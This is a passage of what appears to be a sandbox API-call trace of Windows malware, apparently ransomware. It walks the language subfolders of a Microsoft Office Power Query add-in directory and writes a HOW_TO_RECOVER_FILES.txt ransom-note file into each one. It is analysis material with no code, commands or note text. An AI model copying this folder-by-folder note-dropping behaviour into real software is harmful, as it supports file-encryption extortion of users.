SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0213.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0213.951] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0213.951] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0213.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\he\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0213.952] GetFileType (hFile=0x808) returned 0x1 [0213.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0213.952] GetFileType (hFile=0x808) returned 0x1 [0213.953] WriteFile (in: hFile=0x808, lpBuffer=0x34dfb70*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x34dfb70*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0213.954] CloseHandle (hObject=0x808) returned 1 [0213.954] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0213.954] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi", lpFilePart=0x0) returned 0x68 [0213.954] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0213.955] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.955] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf43e3cb7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4409f1c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0213.956] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c93006, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x36040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0213.956] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80fc2c4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80fc2c4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80fc2c4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x46aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0213.956] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa4733b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa4733b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa4995f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0213.956] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0213.956] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0213.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0213.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0213.957] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0213.957] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi", lpFilePart=0x0) returned 0x68 [0213.957] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0213.958] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.958] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf43e3cb7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4409f1c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0213.958] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c93006, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x36040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0213.958] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80fc2c4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80fc2c4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80fc2c4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x46aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0213.958] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa4733b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa4733b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa4995f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0213.959] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa4733b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa4733b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa4995f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0213.959] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0213.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0213.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0213.961] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0213.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0213.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hi\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hi\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0213.963] GetFileType (hFile=0x808) returned 0x1 [0213.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0213.963] GetFileType (hFile=0x808) returned 0x1 [0213.963] WriteFile (in: hFile=0x808, lpBuffer=0x34f3388*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x34f3388*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0213.964] CloseHandle (hObject=0x808) returned 1 [0213.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0213.964] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr", lpFilePart=0x0) returned 0x68 [0213.965] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0213.965] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.966] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0213.966] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x95505c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x95505c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a13a8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0213.966] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b61d36, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0213.966] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17ef5ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17ef5ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x87040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0213.966] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0213.966] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0213.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0213.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0213.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0213.967] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr", lpFilePart=0x0) returned 0x68 [0213.967] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0213.968] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.968] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0213.968] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x95505c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x95505c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a13a8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0213.968] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b61d36, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0213.969] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17ef5ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17ef5ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x87040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0213.969] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17ef5ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17ef5ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x87040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0213.969] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0213.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0213.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0213.970] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0213.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0213.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0213.971] GetFileType (hFile=0x808) returned 0x1 [0213.971] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0213.971] GetFileType (hFile=0x808) returned 0x1 [0213.972] WriteFile (in: hFile=0x808, lpBuffer=0x350e290*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x350e290*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0213.972] CloseHandle (hObject=0x808) returned 1 [0213.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0213.973] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu", lpFilePart=0x0) returned 0x68 [0213.973] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0214.688] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.694] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf75a8fbb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf75a8fbb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf75a8fbb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0214.695] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: 